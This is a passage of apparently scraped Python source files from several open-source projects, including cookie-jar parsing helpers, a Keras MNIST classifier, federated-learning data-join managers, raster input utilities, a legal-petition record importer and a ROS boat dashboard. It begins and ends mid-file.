'Wget'\n LYNX = 'Lynx'\n\n\nclass CURLCookieJar(http.cookiejar.MozillaCookieJar):\n \"\"\"fix issue: MozillaCookieJar ignores '#HttpOnly_' lines\"\"\"\n filename_types = (str, io.StringIO)\n\n def __init__(self, filename: T.Union[filename_types] = None, delayload=False, policy=None):\n \"\"\"\n Cookies are NOT loaded from the named file until either the .load() or\n .revert() method is called.\n\n \"\"\"\n http.cookiejar.CookieJar.__init__(self, policy)\n if filename is not None:\n if not isinstance(filename, self.filename_types):\n raise TypeError('filename', self.filename_types)\n self.filename = filename\n self.delayload = bool(delayload)\n\n def load(self, filename=None, ignore_discard=False, ignore_expires=False):\n http_only_prefix = '#HttpOnly_'\n\n if filename is None:\n if self.filename is not None:\n filename = self.filename\n else:\n # noinspection PyUnresolvedReferences\n raise ValueError(http.cookiejar.MISSING_FILENAME_TEXT)\n\n if isinstance(filename, io.StringIO):\n lines = [str_remove_prefix(line, http_only_prefix) for line in filename.readlines()]\n else:\n with open(filename) as fd:\n lines = [str_remove_prefix(line, http_only_prefix) for line in fd.readlines()]\n # print(''.join(lines)) # DEBUG\n\n with io.StringIO() as fd:\n fd.writelines(lines)\n fd.seek(0)\n # noinspection PyUnresolvedReferences\n self._really_load(fd, filename, ignore_discard, ignore_expires)\n\n\ndef ensure_json_list_cookies(json_data: T.JSONType):\n json_data_var_name = 'json_data'\n if isinstance(json_data, list):\n cookies = json_data\n elif isinstance(json_data, dict):\n if 'cookies' in json_data:\n cookies = json_data['cookies']\n if not isinstance(cookies, list):\n raise TypeError(f\"{json_data_var_name}['cookies']\", list)\n else:\n raise ValueError(f\"{json_data_var_name}['cookies'] not exist\")\n else:\n raise TypeError(json_data_var_name, T.JSONType)\n return cookies\n\n\ndef json_cookies_to_dict(json_data: T.JSONType = None, json_filepath: str = None, ) -> dict:\n if json_data is not None:\n pass\n elif json_filepath:\n json_data = fstk.read_json_file(json_filepath)\n else:\n raise ValueError('no json source given')\n try:\n cookie_list = ensure_json_list_cookies(json_data)\n return {cookie['name']: cookie['value'] for cookie in cookie_list if isinstance(cookie, dict)}\n except ValueError:\n if isinstance(json_data, dict):\n return json_data\n\n\ndef netscape_cookies_to_dict(cookies_text: str = None, cookies_filepath: str = None, *,\n ignore_discard=True, ignore_expires=True) -> dict:\n if cookies_text:\n cookies_filepath = io.StringIO(cookies_text)\n if cookies_filepath:\n cj = CURLCookieJar(cookies_filepath)\n cj.load(ignore_discard=ignore_discard, ignore_expires=ignore_expires)\n return requests.utils.dict_from_cookiejar(cj)\n\n\ndef make_cookie_str(cookies: dict):\n return '; '.join([f'{k}={v}' for k, v in cookies.items()])\n\n\ndef parse_cookie_str(s: str):\n s = str_remove_prefix(s, 'Cookie: ')\n return dict([(a, b) for a, b in [i.split('=', maxsplit=1) for i in s.split('; ')]])\n\n\ndef get_cookies_dict_from(x):\n if isinstance(x, str):\n if path_is_file(x):\n if x.endswith('.json'):\n return json_cookies_to_dict(json_filepath=x)\n else:\n return netscape_cookies_to_dict(cookies_filepath=x)\n else:\n return parse_cookie_str(x)\n elif isinstance(x, (list, dict)):\n return json_cookies_to_dict(x)\n else:\n raise TypeError('x', (str, list, dict))\n\n\nclass HTTPHeadersBuilder:\n def __init__(self, headers: dict = None):\n self.headers = headers or {}\n\n @staticmethod\n @functools.lru_cache()\n def _name_to_field(x: str):\n return x.replace('_', '-').title()\n\n def _set_sth(self, name: str, value):\n value_func = {'Cookie': make_cookie_str}\n field = self._name_to_field(name)\n if field in value_func:\n value = value_func[field](value)\n self.headers[field] = value\n return self\n\n def _get_sth(self, name: str, *args):\n return self.headers.get(self._name_to_field(name))\n\n def _del_sth(self, name: str, *args):\n try:\n del self.headers[self._name_to_field(name)]\n except KeyError:\n pass\n return self\n\n def __getattr__(self, name: str):\n def _set_or_get(value=None):\n \"\"\"if value given, set item to value; if value is None, get item; if value is ... or False, del item.\"\"\"\n if value is None:\n func = self._get_sth\n elif value in (..., False):\n func = self._del_sth\n else:\n func = self._set_sth\n return func(name, value)\n\n _set_or_get.__name__ = name\n self.__dict__[name] = _set_or_get\n return _set_or_get\n\n def __repr__(self):\n return f'{self.__class__.__name__}({self.headers})'\n", "source": "fakegit/mo-han-toolbox", "license": "MIT"} {"text": "\nfrom datetime import datetime\n\n\n# these only deal with utc but are good enough for working with the\n# github api\n\n\ndef dt_from_js_isoformat(iso: str) -> datetime:\n return datetime.fromisoformat(iso.replace(\"Z\", \"+00:00\"))\n\n\ndef dt_to_js_isoformat(dt: datetime) -> str:\n return dt.isoformat().replace(\"+00:00\", \"Z\")\n", "source": "Nordix/pytooling", "license": "Apache-2.0"} {"text": "#! /usr/bin/env python\n# Last Change: Mon Aug 20 02:00 PM 2007 J\n\ntry:\n from functools import partial\nexcept ImportError:\n from myfunctools import partial\n", "source": "lesserwhirls/scipy-cwt", "license": "BSD-3-Clause"} {"text": "import tensorflow as tf\nsess = tf.Session()\n\nfrom keras import backend as K\nK.set_session(sess)\n\n# \ubd84\ub958 DNN \ubaa8\ub378 \uad6c\ud604 ########################\nfrom keras.models import Sequential, Model\nfrom keras.layers import Dense, Dropout\nfrom keras.metrics import categorical_accuracy, categorical_crossentropy\n\nclass DNN():\n def __init__(self, Nin, Nh_l, Nout):\n self.X_ph = tf.placeholder(tf.float32, shape=(None, Nin))\n self.L_ph = tf.placeholder(tf.float32, shape=(None, Nout))\n \n # Modeling\n H = Dense(Nh_l[0], activation='relu')(self.X_ph)\n H = Dropout(0.5)(H)\n H = Dense(Nh_l[1], activation='relu')(H) \n H = Dropout(0.25)(H)\n self.Y_tf = Dense(Nout, activation='softmax')(H)\n \n # Operation\n self.Loss_tf = tf.reduce_mean(\n categorical_crossentropy(self.L_ph, self.Y_tf))\n self.Train_tf = tf.train.AdamOptimizer().minimize(self.Loss_tf)\n self.Acc_tf = categorical_accuracy(self.L_ph, self.Y_tf)\n self.Init_tf = tf.global_variables_initializer()\n\n# \ub370\uc774\ud130 \uc900\ube44 ##############################\nimport numpy as np\nfrom keras import datasets # mnist\nfrom keras.utils import np_utils # to_categorical\n\ndef Data_func():\n (X_train, y_train), (X_test, y_test) = datasets.mnist.load_data()\n\n Y_train = np_utils.to_categorical(y_train)\n Y_test = np_utils.to_categorical(y_test)\n\n L, W, H = X_train.shape\n X_train = X_train.reshape(-1, W * H)\n X_test = X_test.reshape(-1, W * H)\n\n X_train = X_train / 255.0\n X_test = X_test / 255.0\n\n return (X_train, Y_train), (X_test, Y_test)\n\n\n# \ud559\uc2b5 \ud6a8\uacfc \ubd84\uc11d ##############################\nfrom keraspp.skeras import plot_loss, plot_acc\nimport matplotlib.pyplot as plt\n\ndef run(model, data, sess, epochs, batch_size=100):\n # epochs = 2\n # batch_size = 100\n (X_train, Y_train), (X_test, Y_test) = data\n sess.run(model.Init_tf)\n with sess.as_default():\n N_tr = X_train.shape[0]\n for epoch in range(epochs):\n for b in range(N_tr // batch_size):\n X_tr_b = X_train[batch_size * (b-1):batch_size * b]\n Y_tr_b = Y_train[batch_size * (b-1):batch_size * b]\n\n model.Train_tf.run(feed_dict={model.X_ph: X_tr_b, model.L_ph: Y_tr_b, K.learning_phase(): 1})\n loss = sess.run(model.Loss_tf, feed_dict={model.X_ph: X_test, model.L_ph: Y_test, K.learning_phase(): 0})\n acc = model.Acc_tf.eval(feed_dict={model.X_ph: X_test, model.L_ph: Y_test, K.learning_phase(): 0})\n print(\"Epoch {0}: loss = {1:.3f}, acc = {2:.3f}\".format(epoch, loss, np.mean(acc)))\n\n# \ubd84\ub958 DNN \ud559\uc2b5 \ubc0f \ud14c\uc2a4\ud305 ####################\ndef main():\n Nin = 784\n Nh_l = [100, 50]\n number_of_class = 10\n Nout = number_of_class\n\n data = Data_func()\n model = DNN(Nin, Nh_l, Nout)\n\n run(model, data, sess, 10, 100)\n\n\nif __name__ == '__main__': \n main()", "source": "soyoung9306/-3-keras", "license": "MIT"} {"text": "from .array import BabelArray\n\nfrom . import array, metadata, utils\n", "source": "liamchalcroft/nitorch", "license": "MIT"} {"text": "# Copyright 2020 The 9nFL Authors. All Rights Reserved.\n#\n# Licensed under the Apache License, Version 2.0 (the \"License\");\n# you may not use this file except in compliance with the License.\n# You may obtain a copy of the License at\n#\n# http://www.apache.org/licenses/LICENSE-2.0\n#\n# Unless required by applicable law or agreed to in writing, software\n# distributed under the License is distributed on an \"AS IS\" BASIS,\n# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n# See the License for the specific language governing permissions and\n# limitations under the License.\n# coding: utf-8\n\nimport logging\nimport os\nimport uuid\nimport tensorflow.compat.v1 as tf\nfrom google.protobuf import text_format\nfrom tensorflow.compat.v1 import gfile\nfrom DataJoin.common import data_join_service_pb2 as data_join_pb\nfrom DataJoin.utils.process_manager import tf_record_iterator_factory, data_block_meta_file_name_wrap, \\\n block_id_wrap, data_block_file_name_wrap, partition_id_wrap\nfrom DataJoin.utils.base import get_host_ip\nimport requests\nfrom DataJoin.config import HEADERS, HTTP_SERVICE_PORT, removed_items_nums_from_buffer\n\nhost_ip = get_host_ip()\nmode = os.environ.get(\"MODE\", None)\n\n\ndef save_data_block_info(meta_path, block_path):\n action = getattr(requests, 'POST'.lower(), None)\n data = {'dfs_data_block_meta': meta_path, 'dfs_data_block': block_path}\n url = \"http://{0}:{1}/v1/parse/data/block/meta\".format(str(host_ip), HTTP_SERVICE_PORT)\n response = action(url=url, json=data, headers=HEADERS)\n res = response.json()\n logging.info('request result is :%s' % res)\n\n\nclass DataBlockMaker(object):\n tmp_file_path_counter = 0\n\n def __init__(self, data_block_dir_name, data_source_name, partition_id,\n data_block_index, example_num_threshold=None):\n self._data_source_name = data_source_name\n self._data_block_manager = None\n self._saved_example_num = 0\n self._partition_id = partition_id\n self._data_block_meta = data_join_pb.DataBlockMeta()\n self._data_block_meta.partition_id = partition_id\n self._data_block_meta.data_block_index = data_block_index\n self._data_block_meta.follower_restart_index = 0\n self._example_num_threshold = example_num_threshold\n self._data_block_dir_name = data_block_dir_name\n self._tmp_file_path = self._make_tmp_file_path()\n self._tf_record_writer = tf.io.TFRecordWriter(self._tmp_file_path)\n\n def build_data_block_manager(self, data_block_manager):\n self._data_block_manager = data_block_manager\n\n def save(self, data_record, example_id, event_time):\n self._tf_record_writer.write(data_record)\n self._data_block_meta.example_ids.append(example_id)\n if self._saved_example_num == 0:\n self._data_block_meta.start_time = event_time\n self._data_block_meta.end_time = event_time\n else:\n if event_time < self._data_block_meta.start_time:\n self._data_block_meta.start_time = event_time\n if event_time > self._data_block_meta.end_time:\n self._data_block_meta.end_time = event_time\n\n self._saved_example_num += 1\n\n def init_maker_by_input_meta(self, data_block_meta):\n self._partition_id = data_block_meta.partition_id\n self._example_num_threshold = None\n self._data_block_meta = data_block_meta\n\n def set_restart_data_join_index(self, restart_data_join_index):\n self._data_block_meta.follower_restart_index = restart_data_join_index\n\n def is_data_block_exceed_threshold(self):\n if (self._example_num_threshold is not None and\n len(self._data_block_meta.example_ids) >=\n self._example_num_threshold):\n return True\n return False\n\n def save_data_record(self, record):\n self._tf_record_writer.write(record)\n self._saved_example_num += 1\n\n def _make_tmp_file_path(self):\n tmp_file_name = str(uuid.uuid1()) + '-{}.tmp'.format(self.tmp_file_path_counter)\n self.tmp_file_path_counter += 1\n return os.path.join(self._obtain_data_block_dir(), tmp_file_name)\n\n def _make_data_block_meta(self):\n meta_file_path_tmp = self._make_tmp_file_path()\n with tf.io.TFRecordWriter(meta_file_path_tmp) as meta_writer:\n meta_writer.write(text_format.MessageToString(self._data_block_meta).encode())\n if self._data_block_manager is not None:\n meta_file_path = self._data_block_manager.update_data_block_meta(\n meta_file_path_tmp, self._data_block_meta\n )\n else:\n meta_file_name = data_block_meta_file_name_wrap(self._data_source_name,\n self._partition_id,\n self._data_block_meta.data_block_index)\n meta_file_path = os.path.join(self._obtain_data_block_dir(), meta_file_name)\n gfile.Rename(meta_file_path_tmp, meta_file_path)\n return meta_file_path\n\n def data_block_finalizer(self):\n assert self._saved_example_num == len(self._data_block_meta.example_ids)\n self._tf_record_writer.close()\n if len(self._data_block_meta.example_ids) > 0:\n self._data_block_meta.block_id = block_id_wrap(self._data_source_name,\n self._data_block_meta)\n data_block_path = os.path.join(\n self._obtain_data_block_dir(),\n data_block_file_name_wrap(\n self._data_source_name,\n self._data_block_meta\n )\n )\n gfile.Rename(self._tmp_file_path, data_block_path, True)\n meta_path = self._make_data_block_meta()\n if mode == \"distribute\":\n save_data_block_info(meta_path, data_block_path)\n return self._data_block_meta\n gfile.Remove(self._tmp_file_path)\n return None\n\n def __del__(self):\n if self._tf_record_writer is not None:\n del self._tf_record_writer\n\n def _obtain_data_block_dir(self):\n return os.path.join(\n self._data_block_dir_name, partition_id_wrap(self._partition_id)\n )\n", "source": "huangwei19/9nfl", "license": "Apache-2.0"} {"text": "from sanic import Sanic\nfrom aoiklivereload import LiveReloader\nimport asyncio\nimport uvloop\nimport logging\n\nimport config\n\nfrom blueprints import Blueprints\nfrom database import init_db\n\n\nasyncio.set_event_loop_policy(uvloop.EventLoopPolicy())\n\nloop = asyncio.get_event_loop()\n\napp = Sanic(__name__)\n\napp.blueprint(Blueprints.auth, url_prefix='/api/auth')\n\nloop.create_task(init_db())\n\n# TODO: Put somewhere for better code style\nif config.DEBUG:\n reloader = LiveReloader()\n reloader.start_watcher_thread()\n\n @app.middleware('response')\n async def request_log(request, response):\n logging.info(\n f'{request.method} - {request.url} - {response.status}')\n\n\nif __name__ == '__main__':\n app.go_fast(port=config.PORT, workers=config.WORKERS,\n debug=config.DEBUG, loop=loop)\n", "source": "easydaniel/loan", "license": "MIT"} {"text": "# Copyright 2020 The 9nFL Authors. All Rights Reserved.\n#\n# Licensed under the Apache License, Version 2.0 (the \"License\");\n# you may not use this file except in compliance with the License.\n# You may obtain a copy of the License at\n#\n# http://www.apache.org/licenses/LICENSE-2.0\n#\n# Unless required by applicable law or agreed to in writing, software\n# distributed under the License is distributed on an \"AS IS\" BASIS,\n# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n# See the License for the specific language governing permissions and\n# limitations under the License.\n# coding: utf-8\n\nfrom DataJoin.utils.base import current_timestamp\nfrom DataJoin.db.db_models import DB, DataBlockMeta, DataSourceMeta, DataSource\nimport logging\n\n\nclass DataManagers(object):\n def __init__(self, block_id: str = None, partition_id: str = None, file_version: int = None,\n data_source_name: str = None,\n dfs_data_block_dir: str = None,\n dfs_raw_data_dir: str = None,\n data_source_role: int = None,\n data_source_state: int = None):\n self.block_id = block_id\n self.partition_id = partition_id\n self.file_version = file_version\n self.data_source_name = data_source_name\n self.dfs_data_block_dir = dfs_data_block_dir\n self.dfs_raw_data_dir = dfs_raw_data_dir\n self.data_source_role = data_source_role\n self.data_source_state = data_source_state\n\n def save_data_block_meta_info(self, data_block_meta_info, create=False):\n with DB.connection_context():\n logging.info(\n 'save {} {} data_block_meta: {}'.format(self.block_id, self.partition_id, data_block_meta_info))\n data_block_metas = DataBlockMeta.select().where(DataBlockMeta.block_id == self.block_id)\n is_insert = True\n if data_block_metas:\n data_block_meta = data_block_metas[0]\n is_insert = False\n elif create:\n data_block_meta = DataBlockMeta()\n data_block_meta.create_time = current_timestamp()\n data_block_meta.update_time = current_timestamp()\n else:\n return None\n data_block_meta.block_id = self.block_id\n data_block_meta.partition_id = self.partition_id\n data_block_meta.file_version = self.file_version\n for k, v in data_block_meta_info.items():\n try:\n if k in ['block_id', 'partition_id', 'file_version'] or v == getattr(DataBlockMeta, k).default:\n continue\n setattr(data_block_meta, k, v)\n except:\n pass\n if is_insert:\n data_block_meta.save(force_insert=True)\n else:\n data_block_meta.save()\n\n def save_data_source_meta_info(self, data_source_meta_info, create=False):\n with DB.connection_context():\n logging.info(\n 'save {} data_source_meta: {}'.format(self.data_source_name, data_source_meta_info))\n data_source_metas = DataSourceMeta.select().where(DataSourceMeta.block_id == self.block_id)\n is_insert = True\n if data_source_metas:\n data_source_meta = data_source_metas[0]\n is_insert = False\n elif create:\n data_source_meta = DataSourceMeta()\n data_source_meta.create_time = current_timestamp()\n data_source_meta.update_time = current_timestamp()\n else:\n return None\n for k, v in data_source_meta_info.items():\n try:\n if k in ['data_source_name'] or v == getattr(DataSourceMeta, k).default:\n continue\n setattr(data_source_meta, k, v)\n except:\n pass\n if is_insert:\n data_source_meta.save(force_insert=True)\n else:\n data_source_meta.save()\n\n def save_data_source_info(self, data_source_info, create=False):\n with DB.connection_context():\n logging.info(\n 'save {} data_source: {}'.format(self.data_source_name, data_source_info))\n data_sources = DataSource.select().where(DataSource.block_id == self.block_id)\n is_insert = True\n if data_sources:\n data_source = data_sources[0]\n is_insert = False\n elif create:\n data_source = DataSource()\n data_source.create_time = current_timestamp()\n data_source.update_time = current_timestamp()\n else:\n return None\n data_source.data_source_state = self.data_source_state\n data_source.dfs_data_block_dir = self.dfs_data_block_dir\n data_source.dfs_raw_data_dir = self.dfs_raw_data_dir\n for k, v in data_source_info.items():\n try:\n if k in ['data_source_name'] or v == getattr(DataSource, k).default:\n continue\n setattr(data_source, k, v)\n except:\n pass\n if is_insert:\n data_source.save(force_insert=True)\n else:\n data_source.save()\n", "source": "huangwei19/9nfl", "license": "Apache-2.0"} {"text": "#!/usr/bin/env python\n# coding: utf8\n#\n# Copyright (c) 2020 Centre National d'Etudes Spatiales (CNES).\n#\n# This file is part of CARS\n# (see https://github.com/CNES/cars).\n#\n# Licensed under the Apache License, Version 2.0 (the \"License\");\n# you may not use this file except in compliance with the License.\n# You may obtain a copy of the License at\n#\n# http://www.apache.org/licenses/LICENSE-2.0\n#\n# Unless required by applicable law or agreed to in writing, software\n# distributed under the License is distributed on an \"AS IS\" BASIS,\n# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n# See the License for the specific language governing permissions and\n# limitations under the License.\n#\n\"\"\"\nInputs module:\ncontains some CARS global shared general purpose inputs functions\n\"\"\"\n\n# Standard imports\nimport logging\nimport warnings\nfrom typing import Tuple\n\n# Third party imports\nimport fiona\nimport rasterio as rio\nimport xarray as xr\nfrom json_checker import Checker\nfrom shapely.geometry import shape\n\n# Filter rasterio warning when image is not georeferenced\nwarnings.filterwarnings(\"ignore\", category=rio.errors.NotGeoreferencedWarning)\n\n\ndef read_vector(path_to_file):\n \"\"\"\n Read vector file and returns the corresponding polygon\n\n :raise Exception when the input file is unreadable\n\n :param path_to_file: path to the file to open\n :type path_to_file: str\n :return: a shapely polygon\n :rtype: tuple (polygon, epsg)\n \"\"\"\n try:\n polys = []\n with fiona.open(path_to_file) as vec_file:\n _, epsg = vec_file.crs[\"init\"].split(\":\")\n for feat in vec_file:\n polys.append(shape(feat[\"geometry\"]))\n except BaseException as base_except:\n raise Exception(\n \"Impossible to read {} file\".format(path_to_file)\n ) from base_except\n\n if len(polys) == 1:\n return polys[0], int(epsg)\n\n if len(polys) > 1:\n logging.info(\n \"Multi features files are not supported, \"\n \"the first feature of {} will be used\".format(path_to_file)\n )\n return polys[0], int(epsg)\n\n logging.info(\"No feature is present in the {} file\".format(path_to_file))\n return None\n\n\ndef rasterio_get_nb_bands(raster_file: str) -> int:\n \"\"\"\n Get the number of bands in an image file\n\n :param f: Image file\n :returns: The number of bands\n \"\"\"\n with rio.open(raster_file, \"r\") as descriptor:\n return descriptor.count\n\n\ndef rasterio_get_size(raster_file: str) -> Tuple[int, int]:\n \"\"\"\n Get the size of an image (file)\n\n :param raster_file: Image file\n :returns: The size (width, height)\n \"\"\"\n with rio.open(raster_file, \"r\") as descriptor:\n return (descriptor.width, descriptor.height)\n\n\ndef rasterio_can_open(raster_file: str) -> bool:\n \"\"\"\n Test if a file can be open by rasterio\n\n :param raster_file: File to test\n :returns: True if rasterio can open file and False otherwise\n \"\"\"\n try:\n rio.open(raster_file)\n return True\n except Exception as read_error:\n logging.warning(\n \"Impossible to read file {}: {}\".format(raster_file, read_error)\n )\n return False\n\n\ndef ncdf_can_open(file_path):\n \"\"\"\n Checks if the given file can be opened by NetCDF\n :param file_path: file path.\n :type file_path: str\n :return: True if it can be opened, False otherwise.\n :rtype: bool\n \"\"\"\n try:\n with xr.open_dataset(file_path) as _:\n return True\n except Exception as read_error:\n logging.warning(\n \"Exception caught while trying to read file {}: {}\".format(\n file_path, read_error\n )\n )\n return False\n\n\ndef check_json(conf, schema):\n \"\"\"\n Check a dictionary with respect to a schema\n\n :param conf: The dictionary to check\n :type conf: dict\n :param schema: The schema to use\n :type schema: dict\n\n :returns: conf if check succeeds (else raises CheckerError)\n :rtype: dict\n \"\"\"\n schema_validator = Checker(schema)\n checked_conf = schema_validator.validate(conf)\n return checked_conf\n", "source": "CNES/cars", "license": "Apache-2.0"} {"text": "import logging\n\nfrom django.conf import settings\n\nfrom dear_petition.petition.constants import (\n ATTACHMENT,\n DISMISSED,\n NOT_GUILTY,\n UNDERAGED_CONVICTIONS,\n)\nfrom dear_petition.petition import models as pm\nfrom dear_petition.petition.etl.extract import parse_ciprs_document\nfrom dear_petition.petition.types import (\n petition_offense_records,\n identify_distinct_petitions,\n)\n\n\n__all__ = (\"import_ciprs_records\",)\n\nlogger = logging.getLogger(__name__)\n\n\ndef import_ciprs_records(files, user, parser_mode):\n \"\"\"Import uploaded CIPRS records into models.\"\"\"\n logger.info(\"Importing CIPRS records\")\n batch = pm.Batch.objects.create(user=user)\n logger.info(f\"Created batch {batch.id}\")\n for idx, file_ in enumerate(files):\n logger.info(f\"Importing file {file_}\")\n if settings.CIPRS_SAVE_PDF:\n batch_file = batch.files.create(file=file_)\n # Need to re-assign file_ since storages backend\n # closes file handle, so parse_ciprs_document below\n # fails\n file_ = batch_file.file\n for record_data in parse_ciprs_document(file_, parser_mode):\n record = pm.CIPRSRecord(batch=batch, data=record_data)\n record.refresh_record_from_data()\n if record.label and idx == 0:\n batch.label = record.label\n batch.save()\n create_batch_petitions(batch)\n return batch\n\n\ndef create_batch_petitions(batch):\n # Dismissed\n create_petitions_from_records(batch, DISMISSED)\n # Not guilty\n create_petitions_from_records(batch, NOT_GUILTY)\n # Convictions\n create_petitions_from_records(batch, UNDERAGED_CONVICTIONS)\n # TODO: Misdemeanor\n\n\ndef create_petitions_from_records(batch, form_type):\n record_set = petition_offense_records(batch, form_type)\n petition_types = identify_distinct_petitions(record_set)\n for petition_type in petition_types:\n petition = batch.petitions.create(\n form_type=form_type,\n jurisdiction=petition_type[\"jurisdiction\"],\n county=petition_type[\"county\"],\n )\n link_offense_records(petition)\n create_documents(petition)\n\n if form_type == UNDERAGED_CONVICTIONS:\n pm.PetitionOffenseRecord.objects.filter(petition_id=petition.id).update(\n active=False\n )\n\n\ndef link_offense_records(petition, filter_active=True):\n \"\"\"Divide offense records across petition and any needed attachment forms.\"\"\"\n\n offense_records = petition.get_all_offense_records()\n petition.offense_records.add(*offense_records)\n\n\ndef create_documents(petition):\n paginator = petition.get_offense_record_paginator()\n\n base_petition = pm.PetitionDocument.objects.create(petition=petition)\n base_petition.offense_records.add(*paginator.petition_offense_records())\n\n previous_document = base_petition\n\n for attachment_records in paginator.attachment_offense_records():\n attachment = pm.PetitionDocument.objects.create(\n petition=petition, previous_document=previous_document\n )\n attachment.offense_records.add(*attachment_records)\n previous_document = attachment\n", "source": "codefordurham/dear-petition", "license": "MIT"} {"text": "#!/usr/bin/env python\n\n'''\nDashboard: A graphical interface to view the status of various systems on\nNaviGator and a control panel to interact with the running system.\n'''\n\n\nimport functools\nimport os\n\nfrom navigator_alarm import AlarmListener\nfrom navigator_msgs.msg import Hosts, Host\nfrom python_qt_binding import QtCore\nfrom python_qt_binding import QtGui\nfrom python_qt_binding import loadUi\nfrom qt_gui.plugin import Plugin\nfrom remote_control_lib import RemoteControl\nfrom rosgraph_msgs.msg import Clock\nimport rospkg\nimport rospy\nfrom std_msgs.msg import Float32, String\n\n\n__author__ = \"Anthony Olive\"\n__maintainer__ = \"Anthony Olive\"\n__email__ = \"anthony@iris-systems.net\"\n__copyright__ = \"Copyright 2016, MIL\"\n__license__ = \"MIT\"\n\n\nclass Dashboard(Plugin):\n\n def __init__(self, context):\n super(Dashboard, self).__init__(context)\n\n # Create the widget and name it\n self._widget = QtGui.QWidget()\n self._widget.setObjectName(\"Dashboard\")\n self.setObjectName(\"Dashboard\")\n\n # Extend the widget with all attributes and children in the UI file\n ui_file = os.path.join(rospkg.RosPack().get_path(\"navigator_gui\"), \"resource\", \"dashboard.ui\")\n loadUi(ui_file, self._widget)\n\n self.is_killed = False\n self.remote = RemoteControl(\"dashboard\")\n self.remote.is_timed_out = True\n\n # Creates dictionaries that are used by the monitor functions to keep track of their node or service\n node_monitor_template = {\n \"received\": \"Unknown\",\n \"stamp\": rospy.Time.now(),\n \"cached\": \"Unknown\",\n }\n self.operating_mode = node_monitor_template.copy()\n self.battery_voltage = node_monitor_template.copy()\n self.battery_voltage[\"cached_warning_color\"] = \"red\"\n self.system_time = node_monitor_template.copy()\n del self.system_time[\"stamp\"]\n self.system_time[\"timeout_count\"] = 0\n self.hosts = node_monitor_template.copy()\n\n self.clear_hosts()\n self.hosts[\"cached\"] = self.hosts[\"received\"]\n\n self.connect_ui()\n self.connect_ros()\n\n # Show _widget.windowTitle on left-top of each plugin (when it's set in _widget). This is useful when you open multiple\n # plugins at once. Also if you open multiple instances of your plugin at once, these lines add number to make it easy to\n # tell from pane to pane.\n if context.serial_number() > 1:\n self._widget.setWindowTitle(self._widget.windowTitle() + (\" (%d)\" % context.serial_number()))\n\n # Add widget to the user interface\n context.add_widget(self._widget)\n\n # Creates monitors that update data on the GUI periodically\n self.monitor_operating_mode()\n self.monitor_battery_voltage()\n self.monitor_system_time()\n self.monitor_hosts()\n\n def clear_hosts(self):\n '''\n Builds a list of host dictionaries that contain the devices hostname,\n an unknown IP address, and an unknown status in the hosts' receiving\n variable.\n '''\n self.hosts[\"received\"] = Hosts()\n for hostname in self.hosts[\"received\"].hostnames.split():\n host = Host()\n host.hostname = hostname\n host.ip = \"Unknown\"\n host.status = \"Unknown\"\n self.hosts[\"received\"].hosts.append(host)\n\n def connect_ui(self):\n '''\n Links objects in the dashboard GUI to variables in the backend\n dashboard object.\n '''\n\n # Kill status\n self.kill_status_frame = self._widget.findChild(QtGui.QFrame, \"kill_status_frame\")\n self.kill_status_status = self._widget.findChild(QtGui.QLabel, \"kill_status_status\")\n\n # Operating mode status\n self.operating_mode_frame = self._widget.findChild(QtGui.QFrame, \"operating_mode_frame\")\n self.operating_mode_status = self._widget.findChild(QtGui.QLabel, \"operating_mode_status\")\n\n # Battery voltage\n self.battery_voltage_frame = self._widget.findChild(QtGui.QFrame, \"battery_voltage_frame\")\n self.battery_voltage_status = self._widget.findChild(QtGui.QLabel, \"battery_voltage_status\")\n\n # System time\n self.system_time_frame = self._widget.findChild(QtGui.QFrame, \"system_time_frame\")\n self.system_time_status = self._widget.findChild(QtGui.QLabel, \"system_time_status\")\n\n # Devices table\n self.device_table = self._widget.findChild(QtGui.QFrame, \"device_table\")\n\n # Control panel buttons\n toggle_kill_button = self._widget.findChild(QtGui.QPushButton, \"toggle_kill_button\")\n toggle_kill_button.clicked.connect(self.remote.toggle_kill)\n station_hold_button = self._widget.findChild(QtGui.QPushButton, \"station_hold_button\")\n station_hold_button.clicked.connect(self.remote.station_hold)\n rc_control_button = self._widget.findChild(QtGui.QPushButton, \"rc_control_button\")\n rc_control_button.clicked.connect(self.remote.select_rc_control)\n emergency_control_button = self._widget.findChild(QtGui.QPushButton, \"emergency_control_button\")\n emergency_control_button.clicked.connect(self.remote.select_emergency_control)\n keyboard_control_button = self._widget.findChild(QtGui.QPushButton, \"keyboard_control_button\")\n keyboard_control_button.clicked.connect(self.remote.select_keyboard_control)\n autonomous_control_button = self._widget.findChild(QtGui.QPushButton, \"autonomous_control_button\")\n autonomous_control_button.clicked.connect(self.remote.select_autonomous_control)\n\n # Defines the color scheme as QT style sheets\n self.colors = {\n \"red\": \"QWidget {background-color:#FF432E;}\",\n \"green\": \"QWidget {background-color:#B1EB00;}\",\n \"blue\": \"QWidget {background-color:#4AA8DB;}\",\n \"yellow\": \"QWidget {background-color:#FDEF14;}\",\n \"orange\": \"QWidget {background-color:#FFA500;}\"\n }\n\n def connect_ros(self):\n '''\n Connect ROS nodes, services, and alarms to variables and methods\n within this class.\n '''\n # Attempts to read the battery voltage parameters (sets them to defaults if they have not been set)\n self.battery_low_voltage = rospy.get_param(\"/battery_monitor/battery_low_voltage\", 24)\n self.battery_critical_voltage = rospy.get_param(\"/battery_monitor/battery_critical_voltage\", 20)\n\n rospy.Subscriber(\"/wrench/current\", String, self.cache_operating_mode)\n rospy.Subscriber(\"/battery_monitor\", Float32, self.cache_battery_voltage)\n rospy.Subscriber(\"/clock\", Clock, self.cache_system_time)\n rospy.Subscriber(\"/host_monitor\", Hosts, self.cache_hosts)\n\n self.kill_listener = AlarmListener(\"kill\", self.update_kill_status)\n\n def _timeout_check(function):\n '''\n Simple decorator to check whether or not the remote control device is\n timed out before running the function that was called.\n '''\n @functools.wraps(function)\n def wrapper(self, *args, **kwargs):\n if (not self.remote.is_timed_out):\n return function(self, *args, **kwargs)\n return wrapper\n\n @_timeout_check\n def update_kill_status(self, alarm):\n '''\n Updates the kill status display when there is an update on the kill\n alarm. Caches the last displayed kill status to avoid updating the\n display with the same information twice.\n '''\n if (alarm.clear):\n if (self.is_killed):\n self.is_killed = False\n self.kill_status_status.setText(\"Alive\")\n self.kill_status_frame.setStyleSheet(self.colors[\"green\"])\n\n elif (not self.is_killed):\n self.is_killed = True\n self.kill_status_status.setText(\"Killed\")\n self.kill_status_frame.setStyleSheet(self.colors[\"red\"])\n\n def cache_operating_mode(self, msg):\n '''\n Stores the operating mode when it is published.\n '''\n 